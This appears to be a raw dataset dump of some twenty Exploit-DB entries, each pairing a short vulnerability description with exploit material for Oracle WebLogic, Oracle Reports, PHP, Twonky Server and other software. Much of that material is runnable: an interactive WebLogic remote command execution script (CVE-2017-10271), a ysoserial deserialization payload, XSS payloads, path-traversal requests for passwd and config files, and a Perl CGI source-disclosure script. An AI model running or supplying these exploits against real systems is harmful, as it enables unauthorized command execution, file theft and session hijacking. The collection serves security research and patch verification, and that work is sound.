deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26006
Description: Oracle Reports Server 6.0.8/9.0.x - Unauthorized Report Execution
Type: remote
Platform: multiple
Date: 2005-07-19
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/14316/info

Oracle Reports Server is susceptible to an unauthorized report execution vulnerability.

By placing a report file in a globally accessible location, users can trigger the execution of the report by issuing an HTTP GET request to the affected servlet containing the full path of the file.

Attackers may exploit this vulnerability to execute arbitrary commands, or read/write arbitrary files with the privileges of the Oracle account under which the server is executing.

It should be noted that this issue may be remotely exploited if an attacker has means to write files to the serving computer (WebDAV, FTP, CIFS, etc.) without local access. 

http://www.example.com:7779/reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF
Exploit-DB #26002
Description: Oracle Reports Server 6.0.8/9.0.x - XML File Disclosure
Type: remote
Platform: multiple
Date: 2005-07-19
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/14311/info

Oracle Reports Server may allow remote attackers to disclose parts of arbitrary XML files.

Reportedly, the server fails to restrict users from accessing parts of arbitrary XML files when handling specially crafted HTTP GET requests.

All versions of Oracle Reports Server are reported to be vulnerable to this issue. 

http://www.example.com:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=sc
ott/tiger@iasdb+destype=cache+desformat=xml+CUSTOMIZE=/opt/ORACLE/ias/oracle/pro
duct/9.0.2/webcache/webcache.xml
Exploit-DB #33682
Description: Oracle Siebel 7.7/7.8 - '/loyalty_enu/start.swe' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2010-03-01
Author: Lament

Exploit:
source: https://www.securityfocus.com/bid/38456/info

Oracle Siebel is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Oracle Siebel 7.7 and 7.8 are vulnerable; other versions may also be affected. 

http://www.example.com/htim_enu/start.swe/?>'"><script>alert('XSS by Lament')</script>
Exploit-DB #39018
Description: Oracle Supply Chain Products Suite - Remote Security
Type: remote
Platform: multiple
Date: 2014-01-14
Author: Oracle

Exploit:
source: https://www.securityfocus.com/bid/64836/info

Oracle Supply Chain Products Suite is prone to a remote vulnerability in Oracle Demantra Demand Management.

The vulnerability can be exploited over the 'HTTP' protocol. The 'DM Others' sub component is affected.

Attackers can exploit this issue to obtain sensitive information.

This vulnerability affects the following supported versions:
12.2.0, 12.2.1, 12.2.2

POST /demantra/common/loginCheck.jsp/../../GraphServlet HTTP/1.1
Host: target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml
Exploit-DB #46513
Description: Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
Type: remote
Platform: multiple
Date: 2018-10-25
Author: allyshka

Exploit:
// All respects goes to Zhiyi Zhang of 360 ESG Codesafe Team
// URL: https://blogs.projectmoon.pw/2018/10/19/Oracle-WebLogic-Two-RCE-Deserialization-Vulnerabilities/
package ysoserial.payloads;

import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient_20180718_bypass01 extends PayloadRunner implements
ObjectPayload<ReferenceWrapper_Stub> {
    public ReferenceWrapper_Stub getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        ReferenceWrapper_Stub stud = new ReferenceWrapper_Stub(ref);
        return stud;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient_20180718_bypass01.class.getClassLoader());
        PayloadRunner.run(JRMPClient_20180718_bypass01.class, args);
    }
}
Exploit-DB #33079
Description: Oracle WebLogic Server 10.3 - 'console-help.portal' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-06-14
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/35673/info

Oracle WebLogic Server is prone to a cross-site scripting vulnerability. An attacker with 'WLS Console Package' privileges can exploit this issue.

The attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This vulnerability affects Oracle WebLogic Server 10.3. 

http://www.example.com:7011/consolehelp/console-help.portal?_nfpb=true&_pageLabel=ConsoleHelpSearchPage&searchQuery="><script>alert('DSECRG')</script>
Exploit-DB #34312
Description: Oracle WebLogic Server 10.3.3 - Encoded URL
Type: remote
Platform: multiple
Date: 2010-07-13
Author: Timothy D. Morgan

Exploit:
source: https://www.securityfocus.com/bid/41620/info

Oracle WebLogic Server is prone to a remote vulnerability.

The vulnerability can be exploited over the 'HTTP' protocol. For an exploit to succeed, the attacker must have 'Plugins for Apache, Sun and IIS web servers' privileges.

This vulnerability affects the following supported versions:
7.0 SP7, 8.1 SP6, 9.0, 9.1, 9.2 MP3, 10.0 MP2, 10.3.2, 10.3.3 

The following example requests are available:

GET /logo.gif%20HTTP/1.1%0d%0aX-hdr:%20x HTTP/1.1
Host: vulnerable.example.com
Connection: close

GET /logo.gif%20HTTP/1.1%0d%0aHost:%20vulnerable.example.com%0d%0a%0d%0aGET%20/inject.gif HTTP/1.1
Host: vulnerable.example.com
Exploit-DB #43392
Description: Oracle WebLogic Server 10.3.6.0.0 / 12.x - Remote Command Execution
Type: remote
Platform: multiple
Date: 2017-12-26
Author: 1337g

Exploit:
import requests
import sys

url_in = sys.argv[1]
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
payload_header = {'content-type': 'text/xml'}


def payload_command (command_in):
    html_escape_table = {
        "&": "&",
        '"': """,
        "'": "&apos;",
        ">": ">",
        "<": "<",
    }
    command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
    payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
                "   <soapenv:Header> " \
                "       <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
                "           <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
                "               <void class=\"java.lang.ProcessBuilder\"> \n" \
                "                  <array class=\"java.lang.String\" length=\"3\">" \
                "                      <void index = \"0\">                       " \
                "                          <string>cmd</string>                 " \
                "                      </void>                                    " \
                "                      <void index = \"1\">                       " \
                "                          <string>/c</string>                  " \
                "                      </void>                                    " \
                "                      <void index = \"2\">                       " \
                + command_filtered + \
                "                      </void>                                    " \
                "                  </array>" \
                "                  <void method=\"start\"/>" \
                "                  </void>" \
                "            </java>" \
                "        </work:WorkContext>" \
                "   </soapenv:Header>" \
                "   <soapenv:Body/>" \
                "</soapenv:Envelope>"
    return payload_1

def do_post(command_in):
    result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)

    if result.status_code == 500:
        print "Command Executed \n"
    else:
        print "Something Went Wrong \n"



print "***************************************************** \n" \
       "****************   Coded By 1337g  ****************** \n" \
       "*  CVE-2017-10271 Blind Remote Command Execute EXP  * \n" \
       "***************************************************** \n"

while 1:
    command_in = raw_input("Eneter your command here: ")
    if command_in == "exit" : exit(0)
    do_post(command_in)
Exploit-DB #25988
Description: Oracle9i Application Server 9.0.2 - MOD_ORADAV Access Control
Type: remote
Platform: multiple
Date: 2003-02-13
Author: David Litchfield

Exploit:
source: https://www.securityfocus.com/bid/14274/info

The mod_oradav module for Oracle HTTP Server included in Oracle9i Application Server is prone to a vulnerability. This is related to access controls on the '/dav_public' and '/dav_portal' directories, allowing a malicious user to fill up the directory. It is not known if this could have other security impacts.

This issue was mentioned in the patch readme for the Oracle Critical Patch Update for July. This issue was also addressed by Oracle Security Alert #52, dated Feb 13, 2003. 

http://www.example.com/dav_public
http://www.example.com/dav_portal
Exploit-DB #33503
Description: Orion Application Server 2.0.7 - 'Terminal Escape Sequence in Logs' Command Injection
Type: remote
Platform: multiple
Date: 2010-01-11
Author: evilaliv3

Exploit:
source: https://www.securityfocus.com/bid/37717/info

Orion Application Server is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Orion Application Server 2.0.7 is vulnerable; other versions may also be affected. 


curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload
Exploit-DB #28602
Description: OSU HTTP Server 3.10/3.11 - Multiple Information Disclosure Vulnerabilities
Type: remote
Platform: multiple
Date: 2006-09-19
Author: Julio Cesar Fort

Exploit:
source: https://www.securityfocus.com/bid/20098/info

OSU (Ohio State University) HTTP server is prone to multiple information-disclosure vulnerabilities.

This may allow a malicious user to gain access to sensitive data; information gained may aid in further attacks.

Versions 3.11a and 3.10a are vulnerable; other versions may also be affected.

Path-Disclosure
http://www.example.com/NONEXISTANT

Error: 
File /staff$disk/www_server/home/NONEXISTANT (/NONEXISTANT) could 
not be opened VMS especification: 
staff$disk:[www_server.home]NONEXISTANT index.url present


File- and Directroy-Disclosure
http://www.example.com/a*/
Exploit-DB #32110
Description: Outpost Security Suite Pro 2009 - Filename Parsing Security Bypass
Type: remote
Platform: multiple
Date: 2008-07-22
Author: Juan Pablo Lopez Yacubian

Exploit:
source: https://www.securityfocus.com/bid/30347/info

Outpost Security Suite Pro is prone to a vulnerability that allows an unauthorized attacker to bypass antivirus and firewall rules. This issue occurs because the application fails to adequately sanitize user-supplied input.

Successful exploits can allow malicious data to evade expected detection rules, giving legitimate users a false sense of security. Other attacks may also be possible.

Outpost Security Suite Pro 2009 is vulnerable; other versions may also be affected. 

ASCII:&#12288;
HEX: 26 23 31 32 32 38 38 3b

The following special character in a filename can evade firewall rules:

ASCII:? ? ? &#8227; &#8228; &#8229; ?
HEX: 86 20 87 20 95 20 26 23 38 32 32 37 3b 20 26 23 38 32 32 38 3b 20
26 23 38 32 32 39 3b 20 85
Exploit-DB #30491
Description: OWASP Stinger - Filter Bypass
Type: remote
Platform: multiple
Date: 2007-08-13
Author: Meder Kydyraliev

Exploit:
source: https://www.securityfocus.com/bid/25294/info

OWASP Stinger is prone to a filter-bypass weakness because the application fails to properly handle certain input.

Since the OWASP Stinger project is a software module designed to be incorporated into other applications, this weakness may be exploitable only if applications use it in a vulnerable way.

Successfully exploiting this issue may allow attackers to bypass the filter, aiding them in further attacks.

Versions prior to Stinger 2.5 are vulnerable to this issue. 

/*
 * Multipartify.java - Quick and dirty BeanShell for WebScarab to
 * convert urlencoded POST HTTP requests to multipart requests.
 *
 * Copyright (C) 2007 Meder Kydyraliev <meder@o0o.nu>
 *
 * http://o0o.nu/~meder
 *
 */
import org.owasp.webscarab.model.Request;
import org.owasp.webscarab.model.Response;
import org.owasp.webscarab.httpclient.HTTPClient;
import org.owasp.webscarab.model.NamedValue;
import org.owasp.webscarab.model.MultiPartContent;
import java.io.IOException;

public Response fetchResponse(HTTPClient nextPlugin, Request request) throws IOException {

	private static final String contentType = "multipart/form-data; boundary=o0oo0oo0oo0oo0oo0oo0o";
	private static final String boundary= "\r\n--o0oo0oo0oo0oo0oo0oo0o";
	private static final String contentDisp= "\r\nContent-Disposition: form-data; name=";

	if (request.getMethod().equals("POST") && request.getContent() != null) {
		String body = new String(request.getContent());
		StringBuffer newBody = new StringBuffer();
		NamedValue[] postParams = NamedValue.splitNamedValues(body, "&", "=");
		for (int ix=0; ix < postParams.length; ix++) {
			newBody.append(boundary + contentDisp + "\"" + postParams[ix].getName() + "\"\r\n\r\n" + postParams[ix].getValue() + " ");
		}
		newBody.append(boundary + "--\r\n");
		request.setHeader("Content-Type", contentType);
		request.setContent(newBody.substring(2).getBytes());
	}

	response = nextPlugin.fetchResponse(request);

	return response;
}
Exploit-DB #22649
Description: P-News 1.16 - Administrative Account Creation
Type: remote
Platform: multiple
Date: 2003-05-24
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/7689/info

A vulnerability has been reported that could enable a P-News member to create and access an administrative account. This is due to insufficient validation of data supplied to account editing input fields of P-News.

This issue was reported in P-News 1.16. Other versions may also be affected. 

Peter|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|none@nowhere.com|-||-|179ad45c6ce2cb97cf1029e212046e81|-|2|-|peter@aol.com|-|
Exploit-DB #34372
Description: PacketVideo Twonky Server 4.4.17/5.0.65 - Cross-Site Scripting / HTML Injection
Type: remote
Platform: multiple
Date: 2009-11-01
Author: Davide Canali

Exploit:
source:  https://www.securityfocus.com/bid/41929/info

Twonky Server is prone to a cross-site scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code could run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Versions prior to Twonky Server 4.4.18, 5.0.66, and 5.1 are vulnerable. 

http://www.example.com/twonky:9000/fake_config_page<script type="text/javascript"src="http://www.example.com//malicious.js"; ></script>
Exploit-DB #25079
Description: People Can Fly Painkiller Gamespy 1.3 - CD-Key Hash Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2005-02-02
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12423/info

Painkiller is reported prone to a remote buffer overflow vulnerability. This issue presents itself due to insufficient boundary checks performed by the application during server-side authorization of a Gamespy cd-key hash.

Painkiller versions 1.35 and prior are reported vulnerable to this issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25079.tar
Exploit-DB #22020
Description: Perception LiteServe 2.0 - CGI Source Disclosure
Type: remote
Platform: multiple
Date: 2002-11-14
Author: mattmurphy

Exploit:
source: https://www.securityfocus.com/bid/6188/info

By constructing a malicious web request, it is possible for a remote attacker to disclose the source code of CGI scripts. Information gained through exploiting this issue may aid an attacker in launching further attacks against the target system.

#!/usr/bin/perl
#
# LS_FETCH.PL
# By Matthew Murphy
# LiteServe 2.02 and prior - CGI Disclosure
# Usage: perl ls_fetch.pl [filename] [host] [alias] [port]
use IO::Socket;
use URI::Escape;

$alias = "cgi-isapi"; # Default LiteServe CGI alias
$port = 80;
if (@ARGV < 2 || @ARGV > 4) {
print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80]
} else {
if (@ARGV >= 3) {
$alias = $ARGV[2];
}
if (@ARGV == 4) {
$port = $ARGV[3];
}
$filename = $ARGV[1];
$host = $ARGV[2];
$f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp");
$f->autoflush(1);
$b = sprintf("GET /%s/%s. HTTP/1.0\r\n\r\n", $alias, uri_escape($file));
print $f $b;
while (defined($line=<$f>)) {
print STDOUT $line;
}
undef $f;
}
Exploit-DB #20797
Description: Perl Web Server 0.x - Directory Traversal
Type: remote
Platform: multiple
Date: 2001-04-24
Author: neme-dhc

Exploit:
source: https://www.securityfocus.com/bid/2648/info

Perl Web Server, an experimental cross-platform web server project, does not prevent a remote user from requesting documents outside the ServerRoot (location of the virtual / directory).

This means that if an attacker knows the location of a sensitive file relative to the ServerRoot, he can retrieve the contents of the file by making an HTTP request containing the relative path. 

o retrieve /etc/password from a vulnerable host, request:

http://www.server.com/../../../../etc/passwd

The number of ../ path characters will depend on the ServerRoot (location of the virtual / directory) setting.
Exploit-DB #20738
Description: PGP 5.x/6.x/7.0 - ASCII Armor Parser Arbitrary File Creation
Type: remote
Platform: multiple
Date: 2001-04-09
Author: Chris Anley

Exploit:
source: https://www.securityfocus.com/bid/2556/info

ASCII Armor is a text based encoding format used by PGP (Pretty Good Privacy). While it is possible to encode any file using ASCII Armor, it is used by PGP to encode signature files and public keys to facilitate transmission in e-mail messages.

When a user opens a document for verification in PGP, its corresponding .sig file must be decoded from ASCII Armor.

Due to a flaw in the implementation of the decoder, an arbitrary file can be created on a users system. The file created would be of the attackers choice. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20738.doc.sig
Exploit-DB #3405
Description: PHP 4.4.3 < 4.4.6 - 'PHPinfo()' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2007-03-04
Author: Stefan Esser

Exploit:
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                    PHP 4 - phpinfo() XSS Testcase                  //
  ////////////////////////////////////////////////////////////////////////

To manually test for this vulnerability just call the phpinfo() page with a parameter like this.

http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>

# milw0rm.com [2007-03-04]
Exploit-DB #3452
Description: PHP 5.2.0 - EXT/Filter FDF Post Filter Bypass
Type: remote
Platform: multiple
Date: 2007-03-10
Author: Stefan Esser

Exploit:
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //            PHP ext/filtet FDF POST Filter Bybass Exploit           //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // _POST is the array that will be sent to the url in $url
  $_POST = array();
  $_POST['var1'] = "<script>alert(/XSS/);</script>";
  $_POST['var2'] = " ' UNION SELECT ";

  $url = "http://127.0.0.1/info.php";  
  
  // You do not need to change anything below this
  
  $outfdf = fdf_create();
  foreach ($_POST as $key => $value) {
    fdf_set_value($outfdf, $key, $value, 0);
  }
  fdf_save($outfdf, "outtest.fdf");
  fdf_close($outfdf);
  
  $ret = file_get_contents("outtest.fdf");
  unlink("outtest.fdf");
  
  $params = array('http' => array(
      'method' => 'POST',
      'content' => $ret,
      'header' => 'Content-Type: application/vnd.fdf'
  ));
  
  $ctx = stream_context_create($params);
  $fp = @fopen($url, 'rb', false, $ctx);
  if (!$fp) {
    die("Cannot open $url");
  }
  $response = @stream_get_contents($fp); 

  echo $response;
  echo "\n";
?> 

# milw0rm.com [2007-03-10]